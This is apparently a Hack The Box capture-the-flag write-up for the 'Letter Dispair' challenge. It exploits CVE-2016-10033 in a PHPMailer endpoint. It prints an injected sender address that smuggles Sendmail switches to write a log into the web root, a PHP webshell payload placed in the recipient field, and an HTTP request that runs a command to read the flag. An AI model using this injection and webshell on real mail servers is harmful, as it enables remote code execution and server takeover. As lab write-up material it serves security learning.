Letter Dispair
A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don’t have jurisdiction. However, we have traced the originating mail to a government webserver.
The target is a PHP-based mailer endpoint:
http://167.172.56.144:31476/mailer.php
Recon
Fingerprinting the web server shows an nginx instance serving a directory listing. This tells us we are dealing with a plain PHP application behind nginx, and the directory index suggests we may be able to write and reach files in the web root.
<http://209.97.191.136:30485/> [200 OK] Country[UNITED STATES][US], HTTPServer[nginx], IP[209.97.191.136], Index-Of, Title[Index of /], nginx
Enumeration
The application exposes a mailer.php form that sends email through PHPMailer. This is the classic setup for CVE-2016-10033, a PHP Sendmail command injection via the mail() function. The vulnerability and the technique for abusing it are documented here:
The root cause is that the sender address is passed straight into the fifth argument of mail() (the additional_params), which is forwarded to the Sendmail binary. Because the value is attacker-controlled, we can smuggle extra Sendmail command-line switches:
return mail(
$to,
$subject,
$this->output,
implode($this->lf, $headers),
"-f$from_addr"
);
Exploitation
By crafting a From address that breaks out of -f and injects Sendmail options, we can control where the mail is queued and written. The -oQ/tmp switch sets the queue directory and -X/var/www/html/shell.php tells Sendmail to log the full transaction (including the message body) to a file inside the web root. We then place PHP code in the To field so it lands in that log file.
The injected sender address that smuggles the Sendmail switches:
From: "attacker\" -oQ/tmp -X/var/www/html/shell.php whatever"@example.com
The payload placed in the recipient field, which gets written verbatim into shell.php:
To: <?php system($_REQUEST['cmd']); ?>
Once the mail is sent, Sendmail writes the transaction log to /var/www/html/shell.php, dropping our PHP webshell into the web root. We can now invoke it directly and pass a command through the cmd parameter. Here we read the flag file:
POST /shell.php HTTP/1.1
Host: 209.97.191.136:30485
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
cmd=cat /flag.txt
Flag
The webshell returns the contents of /flag.txt:
HTB{4_l3tt3r_0f_h0p3_outp4c1ng_d1sp4ir}